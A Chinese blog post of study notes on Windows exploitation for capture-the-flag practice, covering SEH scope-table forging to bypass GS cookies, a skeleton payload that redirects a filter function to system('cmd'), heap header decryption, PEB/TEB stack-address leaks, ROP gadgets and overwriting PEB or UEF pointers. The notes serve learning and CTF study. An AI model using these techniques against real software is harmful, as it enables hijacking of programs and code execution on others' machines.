windows pwn学习笔记(附wingame下载地址)

  • A+
所属分类:逆向工程

安装winpwn


pip install winpwn
pip install pefile
pip install keystone-engine
pip install capstone

栈溢出

相关结构体

32为系统下SEH结构体

//sehFrame
_EH3_EXCEPTION_REGISTRATION struc ; (sizeof=0x10, align=0x4, copyof_4)
0x0 Next dd ? ; offset
0x4 ExceptionHandler dd ? ; offset
0x8 ScopeTable dd ? ; XREF: _main+21/w ; offset
0xC TryLevel dd ? ; XREF: _main+57/w
0x10 _EH3_EXCEPTION_REGISTRATION ends


//scopeTable
_EH4_SCOPETABLE struc ; (sizeof=0x10, align=0x4, copyof_9, variable size)
0x0 GSCookieOffset dd ?
0x4 GSCookieXOROffset dd ?
0x8 EHCookieOffset dd ?
0xC EHCookieXOROffset dd ?
0x10 ScopeRecord _EH4_SCOPETABLE_RECORD 0 dup(?)
0x10 _EH4_SCOPETABLE ends


//scopeTable_Record
_EH4_SCOPETABLE_RECORD struc ; (sizeof=0xC, align=0x4, copyof_8)
0x0 EnclosingLevel dd ?
0x4 FilterFunc dd ? ; offset
0x8 HandlerFunc dd ? ; offset
0xC _EH4_SCOPETABLE_RECORD ends

触发异常源码

GS Cookies 验证代码

void __cdecl ValidateLocalCookies(void (__fastcall *cookieCheckFunction)(unsigned int), _EH4_SCOPETABLE *scopeTable, char *framePointer)
{
unsigned int v3; // [email protected]
unsigned int v4; // [email protected]

if ( scopeTable->GSCookieOffset != -2 )
{
v3 = *(_DWORD *)&framePointer[scopeTable->GSCookieOffset] ^ (unsigned int)&framePointer[scopeTable->GSCookieXOROffset];
__guard_check_icall_fptr(cookieCheckFunction);
((void (__thiscall *)(_DWORD))cookieCheckFunction)(v3);
}
v4 = *(_DWORD *)&framePointer[scopeTable->EHCookieOffset] ^ (unsigned int)&framePointer[scopeTable->EHCookieXOROffset];
__guard_check_icall_fptr(cookieCheckFunction);
((void (__thiscall *)(_DWORD))cookieCheckFunction)(v4);
}

会验证两个条件:

1framePointer[scopeTable->GSCookieOffset] ^ framePointer[scopeTable->GSCookieXOROffset]== __security_cookie
2framePointer[scopeTable->EHCookieOffset] ^ framePointer[scopeTable->EHCookieXOROffset]== __security_cookie

要绕过这检查1,可以伪造scopeTable->GSCookieOffset=0xfffffffe。但是对于条件2,还没有办法。

异常触发函数

int __cdecl _except_handler4_common(unsigned int *securityCookies, void (__fastcall *cookieCheckFunction)(unsigned int), _EXCEPTION_RECORD *exceptionRecord, unsigned __int32 sehFrame, _CONTEXT *context)
{
// 异或解密 scope table
scopeTable_1 = (_EH4_SCOPETABLE *)(*securityCookies ^ *(_DWORD *)(sehFrame + 8));

// sehFrame=Next, framePointer=ebp
framePointer = (char *)(sehFrame + 16);
scopeTable = scopeTable_1;

// 验证 GS
ValidateLocalCookies(cookieCheckFunction, scopeTable_1, (char *)(sehFrame + 16));
__except_validate_context_record(context);

if ( exceptionRecord->ExceptionFlags & 0x66 )
{
......
}
else
{
exceptionPointers.ExceptionRecord = exceptionRecord;
exceptionPointers.ContextRecord = context;
tryLevel = *(_DWORD *)(sehFrame + 12);
*(_DWORD *)(sehFrame - 4) = &exceptionPointers;
if ( tryLevel != -2 )
{
while ( 1 )
{
v8 = tryLevel + 2 * (tryLevel + 2);
filterFunc = (int (__fastcall *)(_DWORD, _DWORD))*(&scopeTable_1->GSCookieXOROffset + v8);
scopeTableRecord = (_EH4_SCOPETABLE_RECORD *)((char *)scopeTable_1 + 4 * v8);
encloseingLevel = scopeTableRecord->EnclosingLevel;//-2跳出后面的循环
scopeTableRecord_1 = scopeTableRecord;
if ( filterFunc )
{
// 调用 FilterFunc
filterFuncRet = _EH4_CallFilterFunc(filterFunc);
......
if ( filterFuncRet > 0 )
{
......
// 调用 HandlerFunc
_EH4_TransferToHandler(scopeTableRecord_1->HandlerFunc, v5 + 16);
......
}
}
......
tryLevel = encloseingLevel;
if ( encloseingLevel == -2 )
break;
scopeTable_1 = scopeTable;
}
......
}
}
......
}

这里要劫持filterFunc,就需要劫持scopeTable。这需要满足两个条件:需要能覆盖掉sehFrame结构体,并且能泄露securityCookies。

payload

#伪造scopeTable
scopeTable = [
0x0FFFFFFFE, #GSCookieOffset
0, #GSCookieXOROffset
0x0FFFFFFCC, #EHCookieOffset
0 #EHCookieXOROffset
]
scopeTable_Record = [
0xfffffffe, #EnclosingLevel=-2
system('cmd'), #FilterFunc
0
]
sehFrame = [
Next, #original
ExceptionHandler, #original
scopeTable_addr, #fake
trylevel #如果要伪造trylevel,就需要修改scopeTable,否则就不篡改,维持original
]
payload = flat(scopeTable + scopeTable_Record)
payload += padding
paylaod += GS#___security_cookie 相当于canary
payload += Next + ExceptionHandler +scopeTable_addr + flat(sehFrame)#覆盖sehFrame结构

其中GS的位置计算方法如下:要满足[ebp + scopeTable->EHCookieOffset] ^ [ebp + scopeTable->EHCookieXOROffset]=GS,scopeTable结构体的EHCookieOffset变量和EHCookieXOROffset变量所对应的ebp的偏移的位置的值抑或后等于GS。因此通常将EHCookieXOROffset设置为0,那么GS放置的位置就等于ebp + scopeTable->EHCookieOffset。

64位与32位的区别

1、windows 64位程序函数调用的参数顺序依次为rcx,rdx,r8,r9
2、在调用system(cmd.exe)过程中,若出现
MOVAPS [rsp+0x4f0],xmm0之类的错误而导致不能反弹shell,这是因为MOVAPS指令需要16字节对齐,因此需要在rop链中修改gadget来调整栈空间

堆溢出

相关结构体

32位下,chunk头部字段信息

ntdll!_HEAP_FREE_ENTRY
+0 Size #chunk的大小,实际大小为Size*8
+2 PreviousSize #前一个chunk的大小,实际大小*8
+4 SmallTagIndex #用于检查堆溢出的Cookie
+5 Flags #标志位
+6 UnusedBytes #用于对齐的字节数
+7 SegmentIndex #所属堆段号
+8 FreeList :[FD-BK]
Flags标志位:
0x01 Busy #该块处于占用状态
0x02 Extra present #该块存在额外描述
0x04 Fill pattern #使用固定模式填充堆块
0x08 Virtual Alloc #虚拟分配
0x10 Last entry #该段最后一个堆块

SmallTagIndex 实际上是安全cookie,算法如下:_HEAP._HEAP_ENTRY.cookie=_HEAP_ENTRY.cookie^((BYTE)&_HEAP_ENTRY/8)

Heap Entry相当于Linux下的chunk,windows对前8个字节进行了加密,加密方式:与HEAP结构0x50偏移处8个字节抑或

例题:2020强网杯wingame

windows pwn学习笔记(附wingame下载地址)

windows pwn学习笔记(附wingame下载地址)

例如0xE50000处为HEAP结构,其HEAP+0x50为解密密钥0C5FBB3EFE5600,而一般密钥都是00结尾

windows pwn学习笔记(附wingame下载地址)

将chunk的前8个字节与密钥逐位异或,得到21000120 01020008。size=0x21*8=0x108

利用方式

1、修改栈返回地址ROP(最常用)

首先需要实现任意读写,泄露栈地址的过程如下:
ntdll -> ntdll!PebLdr泄露peb ->计算处teb -> 栈地址 ->遍历查找ret地址

ret_content = base + 0x239a
ret_addr = 0
for i in range(stackbase,stackbase-0x1000,-4):
if ret_addr==0:
tmp = re(i)
if tmp==ret_content:
ret_addr = i
break
assert ret_addr>0

一段有用的gadget : mov [rcx],rdx; ret
这段gadget可以在ntdll.dll中可以找到,如果配合上
pop rcx;ret以及pop rdx;ret可以实现任意地址写并且在rop中传参时也能发挥很好的作用

在ida中搜索peb偏移的方法:

现在微软应该是把在线符号表给墙了,因为某些原因不能科学上网(懒),所以在用windbg的时候无法下载符合本地系统的pdb。这里我使用x64dbg进行调试。
1、在ida中打开ntdll,搜索函数LdrQueryImageFileExecutionOptions,交叉引用找到调用它的地方,如下图所示:

windows pwn学习笔记(附wingame下载地址)

2、在上面可以发现一个位于.data的全局变量peb_44(我自己命名的),然后找到它在.data中的位置,如下图所示:

windows pwn学习笔记(附wingame下载地址)

3、可以看到peb_44的偏移为ntdll+0x11dc54(这个偏移是我本机win10 版本号为18363的32位ntdll的偏移)
4、最后在调试器中定位到ntdll+0x11dc54,可以看到一个peb+0x44的值,从而可以泄露peb。

windows pwn学习笔记(附wingame下载地址)

在NT内核系统中fs寄存器指向TEB结构,TEB+0x30处指向PEB结构,PEB+0x0c处指向PEB_LDR_DATA结构,PEB_LDR_DATA+0x1c处存放一些指向动态链接库信息的链表地址,win7下第一个指向ntdl.dll,第三个就是kernel32.dll的。可以通过查看线程TEB+0x30的内容检查是否为正确的PEB地址或者查看PEB+0xc是否为ntdll中的地址。
5、泄露栈地址
PEB->TEB->stack
PEB和TEB的偏移是固定的,在本地调试中的偏移为TEB=PEB+0x3000
在TEB前三个指针都是栈的指针,第一个估计是ebp附近的SEH_RECODE[1]的地址指针,第二个估计是stack base,第三个估计是stack end。我们搜索栈空间寻找返回地址时,大概从stack base-0x1000开始搜索到stack base这一个页面的内容就行了。

从kernel32.dll泄露ntdll

如果原程序中没有ntdll的导入表,可以从kernel32.dll中泄露,方法如下(源自https://xz.aliyun.com/t/6319#toc-4) :
可以从kernel32.dll中定位到NtCreateFile函数的偏移,因为NtCreateFile函数是从ntdll.dll的导入函数。在我win10 18363虚拟机中,偏移为kernel32.dll+0x819BC。
再进一步,如果只泄露了一个dll动态库的地址,只要其有其他dll库的导入函数,我们就有可能从其内存空间中泄露处其他dll库的地址。

2、篡改PEB中的函数指针

PEB结构中存放了RtlEnterCriticalSection()和RtlLeaveCriticalSection()函数指针,在程序正常退出时会调用ExitProcess(),为了同步线程该函数又会调用RtlEnterCriticalSection()及RtlLeaceCriticalSection()进行处理。

//32位
RtlEnterCriticalSection = &PEB + 0x20;
RtlLeaveCriticalSection = &PEB + 0x24;

3、UEF

系统默认异常处理函数(UEF,Unhandler Exception Filter)是系统处理异常时最后调用的一个异常处理例程,在堆溢出中,只需将这一地址覆盖为我们的shellcode地址即可。获取UEF地址的方法可以通过查看SetUnhandledExceptionFilter()的代码来定位,接着再找到操作UnhandledExceptionFilter指针的MOV指令

77E93114   A1 B473ED77      MOV EAX,DWORD PTR DS:[77ED73B4]  ;UnhandledExceptionFilter指针
77E93119 3BC6 CMP EAX,ESI
77E9311B 74 15 JE SHORT kernel32.77E93132
77E9311D 57 PUSH EDI
77E9311E FFD0 CALL EAX

Reference

Windows Pwn 学习之路

- https://www.anquanke.com/post/id/210394


作者:snowleopard****,文章来源:先知社区



关注公众号:HACK之道
windows pwn学习笔记(附wingame下载地址)
回复关键词:wg,获取下载链接
如文章对你有帮助,请支持点下“赞”“在看”

本文始发于微信公众号(HACK之道):windows pwn学习笔记(附wingame下载地址)

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: